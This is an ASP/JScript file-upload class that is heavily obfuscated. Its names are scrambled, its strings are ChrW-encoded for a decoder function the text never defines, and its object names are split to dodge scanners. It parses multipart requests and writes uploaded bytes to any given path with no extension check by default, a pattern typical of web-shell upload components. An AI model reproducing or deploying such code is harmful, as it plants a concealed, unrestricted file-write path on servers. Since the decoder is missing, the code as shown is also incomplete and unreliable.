<%
Dim POOOPO,POOOPP,POOPOO,POOPOP,POOPPO
Set POOPOO=Response:Set POOOPP=Request:Set POOPPO=Session:Set POOOPO=Application:Set POOPOP=Server
Class POOPOOP
Private POOPOPO, POOPOPP
Private POOPPOO, POOPPOP, POOPPPO, POOPPPP, POPOOOO, POPOOOP
Private POPOOPO, POPOOPP, POPOPOO, POPOPOP,POPOPPO, POPOPPP, POPPOOO, POPPOOP
Private POPPOPO ,POPPOPP
Public Property Let IsNum(ByVal value)
POPPOPO = value
End Property
Public Property Let IsNumIng(ByVal value)
POPPOPP = value
End Property
Public Property Let Mode(ByVal value)
POPPOOO = value
End Property
Public Property Let MaxSize(ByVal value)
POOPPOP = value
End Property
Public Property Let SingleSize(ByVal value)
POOPPPO = value
End Property
Public Property Let Exe(ByVal value)
POPOOPO = LCase(value)
End Property
Public Property Let CharSet(ByVal value)
POOPPOO = value
End Property
Public Property Get ErrorID()
ErrorID = POOPPPP
End Property
Public Property Get Description()
Description = POPOPP(POOPPPP)
End Property
Public Property Let openProcesser(ByVal value)
POPOPOO = value
End Property
Private Sub Class_Initialize()
set POOPOPO = POOPOP.createobject(PPPOOP(ChrW(36)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(63)&ChrW(56)&ChrW(93)&ChrW(115)&ChrW(58)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(50)&ChrW(67)&ChrW(74)))
set POOPOPP = POOPOP.createobject(PPPOOP(ChrW(36)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(63)&ChrW(56)&ChrW(93)&ChrW(115)&ChrW(58)&ChrW(52)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(50)&ChrW(67)&ChrW(74)))
POPOOOO = PPPOOP(ChrW(-32135)&ChrW(64)&ChrW(24676)&ChrW(64)&ChrW(112)&ChrW(36)&ChrW(33)&ChrW(26075)&ChrW(64)&ChrW(32447)&ChrW(64)&ChrW(20209)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(31862)&ChrW(64)&ChrW(20243)&ChrW(64)&ChrW(21265)&ChrW(64)&ChrW(29251)&ChrW(64)&ChrW(87)&ChrW(39)&ChrW(104)&ChrW(93)&ChrW(96)&ChrW(96)&ChrW(93)&ChrW(96)&ChrW(88))
POOPPOP = - (55*10-549)
POOPPPO = - (55*10-549)
POOPPPP = - (55*10-549)
POPOOPO = ""
POPOOOP = (27*72-1944)
POOPPOO = PPPOOP(ChrW(56)&ChrW(51)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97))
POPOPOO=false
POPOOPP=PPPOOP(ChrW(112)&ChrW(63)&ChrW(38)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53))
POOOPPP "",0,0,""
POPPOOO = (27*72-1944)
POPPOPO = (55*10-549)
POPPOPP = (36*100-3582)
End Sub
Private Sub Class_Terminate()
Dim POPPPOO
POOPOPO.RemoveAll()
For each POPPPOO in POOPOPP
POOPOPP(POPPPOO).value=empty
Set POOPOPP(POPPPOO) = Nothing
Next
POOPOPP.RemoveAll()
Set POOPOPO = Nothing
Set POOPOPP = Nothing
End Sub
Public Sub Getdata()
Dim POPPPOP
POPPPOP = timer()
if POPOPOO then POPOOPP=POOOPP.querystring(PPPOOP(ChrW(65)&ChrW(67)&ChrW(64)&ChrW(52)&ChrW(54)&ChrW(68)&ChrW(68)&ChrW(58)&ChrW(53)))
Dim value, str, PPOOOOO, PPOOOOP, PPOOOPO, PPOOOPP, PPOOPOO,PPOOPOP
Dim TotalBytes,PPOOPPP,PPOPOOO,PPOPOOP,PPOPOPO,PPOPOPP,PPOPPOO, PPOPPOP, PPOPPPO, PPOPPPP, formname, FileName, PPPOOPO, PPPOOPP, NewName,localname,PPPOPPO,contentType
TotalBytes = POOOPP.TotalBytes
PPOOPOP = false
If PPOPOO = false Then PPOOPOP = true : POOPPPP = (92*26-2390)
If PPOOPOP Then Exit Sub
If POPPOOO = 0 Then
POPOOOP = (27*72-1944)
Dim PPPPOOO
Set PPPPOOO = POOPOP.CreateObject(PPPOOP(ChrW(112)&ChrW(53)&ChrW(64))&PPPOOP(ChrW(53)&ChrW(51)&ChrW(93)&ChrW(68)&ChrW(69)&ChrW(67))&PPPOOP(ChrW(54)&ChrW(50)&ChrW(62)))
PPPPOOO.Type = (55*10-549)
PPPPOOO.Mode = (70*44-3077)
PPPPOOO.Open
PPOPOOO = (27*72-1944)
PPOPOOP = (30*20--424) * (70*35-2434)
Do While PPOPOOO < TotalBytes
PPOPOPO = PPOPOOP
If PPOPOPO + PPOPOOO > TotalBytes Then PPOPOPO = TotalBytes - PPOPOOO
PPOPOPP = POOOPP.BinaryRead(PPOPOPO)
PPPPOOO.Write PPOPOPP
PPOPOOO = PPOPOOO + PPOPOPO
POOOPPP PPPOOP(ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(58)&ChrW(63)&ChrW(56)),TotalBytes,PPOPOOO,""
Loop
POOOPPP PPPOOP(ChrW(70)&ChrW(65)&ChrW(61)&ChrW(64)&ChrW(50)&ChrW(53)&ChrW(54)&ChrW(53)),TotalBytes,PPOPOOO,""
PPPPOOO.Position = (27*72-1944)
PPOOPPP = PPPPOOO.Read
PPPPOOO.Close()
Set PPPPOOO = Nothing
Else
PPOOPPP = POOOPP.BinaryRead(TotalBytes)
End If
PPOOOOO = ChrB(13) & ChrB(10)
PPOOOOP = InStrB(1, PPOOPPP, PPOOOOO)
PPOOOPO = MidB(PPOOPPP, 1, PPOOOOP - 1)
PPOOOPP = LenB(PPOOOPO)
PPOOPOO = PPOOOPP + (92*26-2390)
Do While lenb(PPOOPPP) > (92*26-2390) + PPOOOPP
PPOPPOO = InStrB(PPOOPOO, PPOOPPP, PPOOOOO & PPOOOOO)
PPOPPOP = MidB(PPOOPPP, PPOOPOO, PPOPPOO - PPOOPOO)
str = POPOOP(PPOPPOP)
PPOPPPO = InStr(str, PPPOOP(ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(108)&ChrW(81))) + (79*31-2443)
PPOPPPP = InStr(PPOPPPO, str, PPPOOP(ChrW(81)))
formname = LCase(Mid(str, PPOPPPO, PPOPPPP - PPOPPPO))
PPPOOPP = InStrB(PPOPPOO + 3, PPOOPPP, PPOOOPO)
If InStr(str, PPPOOP(ChrW(55)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(108)&ChrW(81))) > 0 Then
PPOPPPO = InStr(str, PPPOOP(ChrW(55)&ChrW(58)&ChrW(61)&ChrW(54)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(108)&ChrW(81))) + (41*28-1138)
PPOPPPP = InStr(PPOPPPO, str, PPPOOP(ChrW(81)))
PPPOPPO=instr(PPOPPPP,lcase(str),PPPOOP(ChrW(52)&ChrW(64)&ChrW(63)&ChrW(69)&ChrW(54)&ChrW(63)&ChrW(69)&ChrW(92)&ChrW(69)&ChrW(74)&ChrW(65)&ChrW(54)))
contentType=trim(mid(str,PPPOPPO+13))
FileName = Mid(str, PPOPPPO, PPOPPPP - PPOPPPO)
If Trim(FileName) <> "" Then
LocalName = FileName
FileName = Replace(FileName, PPPOOP(ChrW(94)), PPPOOP(ChrW(45)))
FileName = Mid(FileName, InStrRev(FileName, PPPOOP(ChrW(45))) + 1)
FileName = Replace(FileName,chr(0),"")
If instr(FileName,PPPOOP(ChrW(93)))>0 Then
PPPOOPO = Split(FileName, PPPOOP(ChrW(93)))(UBound(Split(FileName, PPPOOP(ChrW(93)))))
else
PPPOOPO = ""
End If
If POPOOPO <> "" Then
If POOPPP(PPPOOPO) = True Then
POOPPPP = (70*44-3077)
POPOPOP = PPPOOPO
PPOOPPP = empty
Exit Sub
End If
End If
NewName = PPOOPP()
NewName = NewName & PPPOOP(ChrW(93)) & PPPOOPO
POPOOOP = POPOOOP + PPPOOPP - PPOPPOO - (79*31-2443)
If POOPPPO > 0 And (PPPOOPP - PPOPPOO - 6) > POOPPPO Then
POOPPPP = (108*104-11227)
PPOOPPP = empty
Exit Sub
End If
If POOPPOP > 0 And POPOOOP > POOPPOP Then
POOPPPP = (55*10-549)
PPOOPPP = empty
Exit Sub
End If
If POOPOPP.Exists(formname) Then
POOPPPP = (52*74-3844)
PPOOPPP = empty
Exit Sub
Else
Dim PPPPOOP:set PPPPOOP=PPOPPO()
PPPPOOP.ContentType=contentType
PPPPOOP.Size = (PPPOOPP - PPOPPOO - 5)
PPPPOOP.FormName = formname
PPPPOOP.NewName = NewName
PPPPOOP.FileName = FileName
PPPPOOP.LocalName = FileName
PPPPOOP.extend=split(NewName,PPPOOP(ChrW(93)))(ubound(split(NewName,PPPOOP(ChrW(93)))))
PPPPOOP.value =midb(PPOOPPP,PPOPPOO + 4,PPPOOPP - PPOPPOO - 5)
POOPOPP.Add formname, PPPPOOP
Set PPPPOOP = Nothing
End If
End If
Else
value = MidB(PPOOPPP, PPOPPOO + 4, PPPOOPP - PPOPPOO - 6)
If POOPOPO.Exists(formname) Then
POOPOPO(formname) = POOPOPO(formname) & PPPOOP(ChrW(91)) & POPOOP(value)
Else
POOPOPO.Add formname, POPOOP(value)
End If
End If
PPOOPOO = (92*26-2390) + PPOOOPP
PPOOPPP = midb(PPOOPPP,PPPOOPP+2)
Loop
POOPPPP = (27*72-1944)
PPOOPPP = empty
POPOPPP = FormatNumber((timer-POPPPOP)*1000,2)
End Sub
Public sub POOOPPP(POPOPOOP,POPOPOPO,POPOPOPP,POPOPPOO)
POOOPO.lock()
POOOPO(POPOOPP)=PPPOOP(ChrW(76)&ChrW(120)&ChrW(115)&ChrW(105)&ChrW(81)) & POPOOPP & PPPOOP(ChrW(81)&ChrW(91)&ChrW(68)&ChrW(69)&ChrW(54)&ChrW(65)&ChrW(105)&ChrW(81)) & POPOPOOP & PPPOOP(ChrW(81)&ChrW(91)&ChrW(69)&ChrW(64)&ChrW(69)&ChrW(50)&ChrW(61)&ChrW(105)) & POPOPOPO & PPPOOP(ChrW(91)&ChrW(63)&ChrW(64)&ChrW(72)&ChrW(105)) & POPOPOPP & PPPOOP(ChrW(91)&ChrW(53)&ChrW(54)&ChrW(68)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(58)&ChrW(64)&ChrW(63)&ChrW(105)&ChrW(81)) & POPOPPOO & PPPOOP(ChrW(81)&ChrW(91)&ChrW(53)&ChrW(69)&ChrW(105)&ChrW(81)) & now() & PPPOOP(ChrW(81)&ChrW(78))
POOOPO.unlock()
end sub
Private Function POOPPP(ByVal POPOPPOP)
Dim PPPPOPO: PPPPOPO = True
If POPOOPO=PPPOOP(ChrW(89)) then
PPPPOPO=false
elseIf InStr(1, POPOOPO, PPPOOP(ChrW(77))) > 0 Then
Dim PPPPOPP: PPPPOPP = Split(POPOOPO, PPPOOP(ChrW(77)))
Dim PPPPPOO: PPPPPOO = (27*72-1944)
For PPPPPOO = 0 To UBound(PPPPOPP)
If LCase(POPOPPOP) = PPPPOPP(PPPPPOO) Then
PPPPOPO = False
Exit For
End If
Next
Else
If POPOOPO = LCase(POPOPPOP) Then
PPPPOPO = False
End If
End If
POOPPP = PPPPOPO
End Function
Public Function POPOOO(ByVal POPOPPPO)
Dim PPPPPOP,PPPPPPO,PPPPPPP,POOOOOOO
PPPPPPO = (30*20--424) : PPPPPPP = PPPPPPO * PPPPPPO
If Not IsNumeric(POPOPPPO) Then
POPOOO = PPPOOP(ChrW(26405)&ChrW(64)&ChrW(30688)&ChrW(64))
Exit Function
End If
If POPOPPPO < PPPPPPO Then
PPPPPOP = POPOPPPO & PPPOOP(ChrW(32)&ChrW(44)&ChrW(113)&ChrW(74)&ChrW(69)&ChrW(54)&ChrW(68))
Else
POOOOOOO = POPOPPPO / PPPPPPO
If POOOOOOO < 10 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPO, 2, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(122)&ChrW(113))
ElseIf POOOOOOO < 100 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPO, 1, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(122)&ChrW(113))
ElseIf POOOOOOO < 1000 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPO, 0, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(122)&ChrW(113))
ElseIf POOOOOOO < 10000 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPP, 2, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(124)&ChrW(113))
ElseIf POOOOOOO < 100000 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPP, 1, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(124)&ChrW(113))
ElseIf POOOOOOO < 1000000 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPP, 0, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(124)&ChrW(113))
ElseIf POOOOOOO < 10000000 Then
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPP / PPPPPPO, 2, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(118)&ChrW(113))
Else
PPPPPOP = FormatNumber(POPOPPPO / PPPPPPP / PPPPPPO, 1, -1) & PPPOOP(ChrW(32)&ChrW(44)&ChrW(118)&ChrW(113))
End If
End If
POPOOO = PPPPPOP
End Function
Private Function POPOOP(ByVal POPOPPPP)
If LenB(POPOPPPP) = 0 Then
POPOOP = ""
Exit Function
End If
Dim POOOOOOP, POOOOOPO
Set POOOOOOP =POOPOP.createobject(PPPOOP(ChrW(112)&ChrW(115)&ChrW(126))&PPPOOP(ChrW(115)&ChrW(113)&ChrW(93)&ChrW(36)&ChrW(69)&ChrW(67))&PPPOOP(ChrW(54)&ChrW(50)&ChrW(62)))
POOOOOOP.Type = (92*26-2390)
POOOOOOP.Mode = (70*44-3077)
POOOOOOP.Open
POOOOOOP.WriteText POPOPPPP
POOOOOOP.Position = (27*72-1944)
POOOOOOP.CharSet = POOPPOO
POOOOOOP.Position = (92*26-2390)
POOOOOPO = POOOOOOP.ReadText()
POOOOOOP.Close
Set POOOOOOP = Nothing
POPOOP = POOOOOPO
End Function
Private Function POPOPO(POPPOOOO)
Dim POOOOOPP
POOOOOPP = ""
If POPPOOOO = "" Or IsNull(POPPOOOO) Then
POPOPO = POOOOOPP
Else
POOOOOPP = POOOOOPP & PPPOOP(ChrW(107)&ChrW(68)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(32)&ChrW(44)&ChrW(61)&ChrW(50)&ChrW(63)&ChrW(56)&ChrW(70)&ChrW(50)&ChrW(56)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(59)&ChrW(50)&ChrW(71)&ChrW(50)&ChrW(68)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(69)&ChrW(74)&ChrW(65)&ChrW(54)&ChrW(108)&ChrW(81)&ChrW(69)&ChrW(54)&ChrW(73)&ChrW(69)&ChrW(94)&ChrW(59)&ChrW(50)&ChrW(71)&ChrW(50)&ChrW(68)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(81)&ChrW(32)&ChrW(44)&ChrW(52)&ChrW(57)&ChrW(50)&ChrW(67)&ChrW(68)&ChrW(54)&ChrW(69)&ChrW(108)&ChrW(81)&ChrW(56)&ChrW(51)&ChrW(97)&ChrW(98)&ChrW(96)&ChrW(97)&ChrW(81)&ChrW(109)) & vbcrlf
POOOOOPP = POOOOOPP & PPPOOP(ChrW(50)&ChrW(61)&ChrW(54)&ChrW(67)&ChrW(69)&ChrW(87)&ChrW(86))&POPPOOOO&PPPOOP(ChrW(86)&ChrW(88)&ChrW(106)) & vbcrlf
POOOOOPP = POOOOOPP & PPPOOP(ChrW(57)&ChrW(58)&ChrW(68)&ChrW(69)&ChrW(64)&ChrW(67)&ChrW(74)&ChrW(93)&ChrW(56)&ChrW(64)&ChrW(87)&ChrW(92)&ChrW(96)&ChrW(88)&ChrW(106)) & vbcrlf
POOOOOPP = POOOOOPP & PPPOOP(ChrW(107)&ChrW(94)&ChrW(68)&ChrW(52)&ChrW(67)&ChrW(58)&ChrW(65)&ChrW(69)&ChrW(109)) & vbcrlf
End If
POPOPO = POOOOOPP
End Function
Private Function POPOPP(ByVal Num)
Select Case Num
Case 0
POPOPP = POPOPO(PPPOOP(ChrW(25963)&ChrW(64)&ChrW(25449)&ChrW(64)&ChrW(22783)&ChrW(64)&ChrW(29697)&ChrW(64)&ChrW(23431)&ChrW(64)&ChrW(27600)&ChrW(64)&ChrW(80)))
Case 1
POPOPP = POPOPO(PPPOOP(ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(25963)&ChrW(64)&ChrW(25449)&ChrW(64)&ChrW(-29312)&ChrW(64)&ChrW(-28734)&ChrW(64)) & POPOOO(POOPPOP) & PPPOOP(ChrW(-27061)&ChrW(64)&ChrW(21041)&ChrW(64)&ChrW(80)&ChrW(21482)&ChrW(64)&ChrW(-29767)&ChrW(64)&ChrW(32617)&ChrW(64)&ChrW(124)&ChrW(50)&ChrW(73)&ChrW(36)&ChrW(58)&ChrW(75)&ChrW(54)&ChrW(23641)&ChrW(64)&ChrW(24610)&ChrW(64)&ChrW(26464)&ChrW(64)&ChrW(25908)&ChrW(64)&ChrW(21459)&ChrW(64)&ChrW(-27061)&ChrW(64)&ChrW(21041)&ChrW(64)&ChrW(80)))
Case 2
POPOPP = POPOPO(PPPOOP(ChrW(26405)&ChrW(64)&ChrW(-29767)&ChrW(64)&ChrW(32617)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(-30621)&ChrW(64)&ChrW(21328)&ChrW(64)&ChrW(54)&ChrW(63)&ChrW(52)&ChrW(69)&ChrW(74)&ChrW(65)&ChrW(54)&ChrW(23641)&ChrW(64)&ChrW(24610)&ChrW(64)&ChrW(20021)&ChrW(64)&ChrW(62)&ChrW(70)&ChrW(61)&ChrW(69)&ChrW(58)&ChrW(65)&ChrW(50)&ChrW(67)&ChrW(69)&ChrW(94)&ChrW(55)&ChrW(64)&ChrW(67)&ChrW(62)&ChrW(92)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)&ChrW(25105)&ChrW(64)&ChrW(-32768)&ChrW(64)&ChrW(26405)&ChrW(64)&ChrW(-29767)&ChrW(64)&ChrW(32617)&ChrW(64)&ChrW(62)&ChrW(54)&ChrW(69)&ChrW(57)&ChrW(64)&ChrW(53)&ChrW(23641)&ChrW(64)&ChrW(24610)&ChrW(64)&ChrW(20021)&ChrW(64)&ChrW(33)&ChrW(64)&ChrW(68)&ChrW(69)&ChrW(91)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(26075)&ChrW(64)&ChrW(25923)&ChrW(64)&ChrW(80)))
Case 3
POPOPP = POPOPO(PPPOOP(ChrW(21542)&ChrW(64)&ChrW(26372)&ChrW(64)&ChrW(-26791)&ChrW(64)&ChrW(27856)&ChrW(64)&ChrW(25188)&ChrW(64)&ChrW(23632)&ChrW(64)&ChrW(21512)&ChrW(64)&ChrW(87)) & POPOPOP & PPPOOP(ChrW(88)&ChrW(25986)&ChrW(64)&ChrW(20209)&ChrW(64)&ChrW(80)&ChrW(21477)&ChrW(64)&ChrW(-32520)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(25188)&ChrW(64)&ChrW(23632)&ChrW(64)&ChrW(21512)&ChrW(64)&ChrW(20021)&ChrW(64)) & Replace(POPOOPO, PPPOOP(ChrW(77)), PPPOOP(ChrW(91))) & PPPOOP(ChrW(30335)&ChrW(64)&ChrW(25986)&ChrW(64)&ChrW(20209)&ChrW(64)))
Case 4
POPOPP = POPOPO(PPPOOP(ChrW(23540)&ChrW(64)&ChrW(19976)&ChrW(64)&ChrW(-29326)&ChrW(64)&ChrW(91)&ChrW(31238)&ChrW(64)&ChrW(24202)&ChrW(64)&ChrW(19976)&ChrW(64)&ChrW(20796)&ChrW(64)&ChrW(-29773)&ChrW(64)&ChrW(20346)&ChrW(64)&ChrW(29987)&ChrW(64)&ChrW(30451)&ChrW(64)&ChrW(21511)&ChrW(64)&ChrW(63)&ChrW(50)&ChrW(62)&ChrW(54)&ChrW(23641)&ChrW(64)&ChrW(24610)&ChrW(64)&ChrW(30335)&ChrW(64)&ChrW(25986)&ChrW(64)&ChrW(20209)&ChrW(64)&ChrW(22490)&ChrW(64)&ChrW(80)))
Case 5
POPOPP = POPOPO(PPPOOP(ChrW(21328)&ChrW(64)&ChrW(20005)&ChrW(64)&ChrW(25986)&ChrW(64)&ChrW(20209)&ChrW(64)&ChrW(22818)&ChrW(64)&ChrW(23562)&ChrW(64)&ChrW(-29312)&ChrW(64)&ChrW(20981)&ChrW(64)) & POPOOO(POOPPPO) & PPPOOP(ChrW(30335)&ChrW(64)&ChrW(19973)&ChrW(64)&ChrW(20251)&ChrW(64)&ChrW(-27061)&ChrW(64)&ChrW(21041)&ChrW(64)&ChrW(80)))
End Select
End Function
Private Function POPPOO(POOPPPPO)
For PPPPPOO = 1 To POOPPPPO
Randomize
POOPPPPP = CInt(9 * Rnd)
POOPPPPP = POOPPPPP + (58*95-5462)
POPPOO = POPPOO & Chr(POOPPPPP)
Next
End Function
Private Function POPPOP(POOPPPPO)
For PPPPPOO = 1 To POOPPPPO
Randomize
POOPPPPP = CInt(25 * Rnd)
POOPPPPP = POOPPPPP + (44*45-1883)
POPPOP = POPPOP & Chr(POOPPPPP)
Next
End Function
Private Function POPPPO(POOPPPPO)
For PPPPPOO = 1 To POOPPPPO
Randomize
POOPPPPP = CInt(25 * Rnd)
POOPPPPP = POOPPPPP + (11*104-1079)
POPPPO = POPPPO & Chr(POOPPPPP)
Next
End Function
Private Function POPPPP(POOPPPPO)
For PPPPPOO = 1 To POOPPPPO
Randomize
POOPPPPP = CInt(25 * Rnd)
If POOPPPPP Mod 2 = 0 Then
POOPPPPP = POOPPPPP + (44*45-1883)
ElseIf POOPPPPP < 9 Then
POOPPPPP = POOPPPPP + (58*95-5462)
Else
POOPPPPP = POOPPPPP + (11*104-1079)
End If
POPPPP = POPPPP & Chr(POOPPPPP)
Next
End Function
Private Function PPOOOO(POOPPPPO)
For PPPPPOO = 1 To POOPPPPO
Randomize
POOPPPPP = CInt(25 * Rnd)
If POOPPPPP Mod 2 = 0 Then
POOPPPPP = POOPPPPP + (44*45-1883)
ElseIf POOPPPPP < 9 Then
POOPPPPP = POOPPPPP + (58*95-5462)
Else
POOPPPPP = POOPPPPP + (44*45-1883)
End If
PPOOOO = PPOOOO & Chr(POOPPPPP)
Next
End Function
Private Function PPOOOP()
Dim POOOOPOO, POOOOPOP, POOOOPPO, POOOOPPP, POOOPOOO, POOOOOOO, POOOPOOP
Randomize
POOOOPOO = Year(Now)
POOOOPOP = Month(Now): If POOOOPOP < 10 Then POOOOPOP = "0" & POOOOPOP
POOOOPPO = Day(Now): If POOOOPPO < 10 Then POOOOPPO = "0" & POOOOPPO
POOOOPPP = Hour(Now): If POOOOPPP < 10 Then POOOOPPP = "0" & POOOOPPP
POOOPOOO = Minute(Now): If POOOPOOO < 10 Then POOOPOOO = "0" & POOOPOOO
POOOOOOO = Second(Now): If POOOOOOO < 10 Then POOOOOOO = "0" & POOOOOOO
POOOPOOP = POPPOO(10)
PPOOOP = POOOOPOO & POOOOPOP & POOOOPPO & POOOOPPP & POOOPOOO & POOOOOOO & POOOPOOP
End Function
Public Function PPOOPO()
Select Case POPPOPO
Case 1:
PPOOPO = POPPOO(POPPOPP)
Case 2:
PPOOPO = POPPOP(POPPOPP)
Case 3:
PPOOPO = POPPPO(POPPOPP)
Case 4:
PPOOPO = POPPPP(POPPOPP)
Case 5:
PPOOPO = PPOOOO(POPPOPP)
Case 6:
PPOOPO = PPOOOP()
Case Else
PPOOPO = POPPOO(POPPOPP)
End Select
End Function
Private Function PPOOPP()
PPOOPP = PPOOPO()
End Function
Private Function PPOPOO()
Dim ContentType, POOOPOPO, POOOPOPP,POOOPPOO
POOOPPOO=trim(LCase(POOOPP.ServerVariables(PPPOOP(ChrW(35)&ChrW(116)&ChrW(34)&ChrW(38)&ChrW(116)&ChrW(36)&ChrW(37)&ChrW(48)&ChrW(124)&ChrW(116)&ChrW(37)&ChrW(119)&ChrW(126)&ChrW(115)))))
if POOOPPOO="" or POOOPPOO<>PPPOOP(ChrW(65)&ChrW(64)&ChrW(68)&ChrW(69)) then
PPOPOO = False
exit function
end if
ContentType = LCase(POOOPP.ServerVariables(PPPOOP(ChrW(119)&ChrW(37)&ChrW(37)&ChrW(33)&ChrW(48)&ChrW(114)&ChrW(126)&ChrW(125)&ChrW(37)&ChrW(116)&ChrW(125)&ChrW(37)&ChrW(48)&ChrW(37)&ChrW(42)&ChrW(33)&ChrW(116))))
POOOPOPO = Split(ContentType, PPPOOP(ChrW(106)))
if ubound(POOOPOPO)>=0 then
If Trim(POOOPOPO(0)) = PPPOOP(ChrW(62)&ChrW(70)&ChrW(61)&ChrW(69)&ChrW(58)&ChrW(65)&ChrW(50)&ChrW(67)&ChrW(69)&ChrW(94)&ChrW(55)&ChrW(64)&ChrW(67)&ChrW(62)&ChrW(92)&ChrW(53)&ChrW(50)&ChrW(69)&ChrW(50)) Then
PPOPOO = True
POPOPPO = Split(ContentType,PPPOOP(ChrW(51)&ChrW(64)&ChrW(70)&ChrW(63)&ChrW(53)&ChrW(50)&ChrW(67)&ChrW(74)&ChrW(108)))(1)
Else
PPOPOO = False
End If
else
PPOPOO = False
end if
End Function
Public Function Files(ByVal formname)
If trim(formname) = "-1" Then
Set Files = POOPOPP
Else
If POOPOPP.Exists(LCase(formname)) Then
Set Files = POOPOPP(LCase(formname))
Else
Set Files = Nothing
End If
End If
End Function
End Class
%>
<script language="jscript" runat="server">
function PPOPPO(){
 return new PPOPPP(); 
}
function PPOPPP(){
 this.FormName="";
 this.NewName = "";
 this.LocalName="";
 this.FileName="";
 this.UserSetName="";
 this.ContentType="";
 this.Size=0;
 this.value=null;
 this.Path = "";
 this.extend="";
}
PPOPPP.prototype.SaveToFile=function(){
 var arg = arguments;
 var Path ,Option, OverWrite
 if(arg.length==0){return {error:true,description:"参数错误,请传递至少一个参数"};}
 if(arg.length==1){Path = arg[0];Option=0;OverWrite=true;}
 if(arg.length==2){Path = arg[0];Option=arg[1];OverWrite=true;}
 if(arg.length==3){Path = arg[0];Option=arg[1];OverWrite=arg[2];}
 if(arg.length>3){return {error:true,description:"参数错误,最多传递3个参数"};}
 try{
 var IsP = (Path.indexOf(":")==1)
 if(!IsP){
 Path = server.MapPath(Path); 
 }
 Path = Path.replace("/","\\");
 if(Path.substr(Path.length-1,1)!="\\"){Path = Path + "\\";}
 this.CreateFolder(Path);
 this.Path = Path;
 if(Option==1){
 Path = Path + this.LocalName;this.FileName = this.LocalName;
 }else{
 if(Option==-1 && this.UserSetName!=""){
 Path = Path + this.UserSetName + "." + this.extend;this.FileName = this.UserSetName + "." + this.extend;
 }else{
 Path = Path + this.NewName;this.FileName = this.NewName;
 }
 }
 if(!OverWrite){
 Path = this.GetFilePath();
 }
 var POPOOOOP;
 var s1="str"
 var s2="eam"
 POPOOOOP = server.CreateObject("adodb."+s1+s2);
 POPOOOOP.mode=3;
 POPOOOOP.type= 1;
 POPOOOOP.open();
 var POPOOOPO = server.CreateObject("ADODB.Recordset");
 POPOOOPO.Fields.Append("value", 205,-1);
 POPOOOPO.open();
 POPOOOPO.addNew();
 POPOOOPO("value").appendChunk(this.value);
 POPOOOOP.write(POPOOOPO("value"));
 POPOOOPO("value").appendChunk(null);
 POPOOOPO.update();
 POPOOOPO.Close();
 POPOOOPO = null;
 Path = Path.replace(/\u0000/igm,"");
 POPOOOOP.saveToFile(Path,2);
 POPOOOOP.close();
 POPOOOOP = null;
 return {error:false,description:"成功保存文件"};
 }catch(POPOPPOP){
 return {error:true,description:POPOPPOP.description};
 }
};
PPOPPP.prototype.GetBytes=function(){
 return this.value
};
PPOPPP.prototype.CreateFolder=function(POPPOOPP){
 var POPOOOPP;
 POPOOOPP =server.CreateObject("Scripting.FilesystemObject" );
 var POPOOPOO;
 POPOOPOO = POPOOOPP.GetParentFolderName( POPPOOPP );
 if(POPOOPOO == ""){return;}
 if(!POPOOOPP.FolderExists(POPOOPOO)){this.CreateFolder( POPOOPOO );}
 if(!POPOOOPP.FolderExists(POPPOOPP)){POPOOOPP.CreateFolder(POPPOOPP);}
 POPOOOPP = null;
};
PPOPPP.prototype.GetFilePath=function(){
 var POPOOOPP,POOPOPOP,POPOOPOP,PPPPPOO=0;
 POPOOOPP =server.CreateObject("Scripting.FilesystemObject" );
 POOPOPOP = this.Path + this.FileName;
 POPOOPOP = this.FileName.substr(0,this.FileName.lastIndexOf("."));
 while(POPOOOPP.FileExists(POOPOPOP)){
 POOPOPOP = this.Path + POPOOPOP + "(" + PPPPPOO + ")." + this.extend;
 this.FileName = POPOOPOP + "(" + PPPPPOO + ")." + this.extend
 PPPPPOO++;
 }
 POPOOOPP = null;
 return POOPOPOP;
};
</script>
<%
Dim POOOPPOP, POOOPPPO, POOOPPPP, POOPOOOO, POOPOOOP, PPOPPP
POOPOO.Buffer = True
POOPOO.ExpiresAbsolute = Now() - (55*10-549)
POOPOO.Expires = (27*72-1944)
